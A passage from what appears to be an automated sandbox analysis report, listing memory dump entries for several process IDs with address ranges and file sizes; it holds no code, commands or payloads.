                  • memory/4416-126-0x0000000000000000-mapping.dmp
                  • memory/4416-139-0x0000000003290000-0x00000000033DA000-memory.dmp
                    Filesize

                    1.3MB

                  • memory/4416-149-0x0000000000400000-0x000000000322A000-memory.dmp
                    Filesize

                    46.2MB

                  • memory/4724-207-0x000000000289259C-mapping.dmp
                  • memory/4724-208-0x0000000002800000-0x00000000028F1000-memory.dmp
                    Filesize

                    964KB

                  • memory/4724-203-0x0000000002800000-0x00000000028F1000-memory.dmp
                    Filesize

                    964KB

                  • memory/4860-173-0x0000000000000000-mapping.dmp
                  • memory/4952-182-0x00000000026A0000-0x00000000026B5000-memory.dmp
                    Filesize

                    84KB

                  • memory/4952-183-0x00000000026A9A6B-mapping.dmp
                  • memory/4952-184-0x00000000023B0000-0x00000000023B1000-memory.dmp
                    Filesize

                    4KB

                  • memory/4952-185-0x00000000023B0000-0x00000000023B1000-memory.dmp
                    Filesize

                    4KB

                  • memory/5008-212-0x0000000002AA0000-0x0000000002ACA000-memory.dmp
                    Filesize

                    168KB

                  • memory/5008-174-0x0000000000000000-mapping.dmp
                  • memory/5108-196-0x0000000000DC0000-0x0000000000DC1000-memory.dmp
                    Filesize

                    4KB

                  • memory/5108-193-0x0000000000000000-mapping.dmp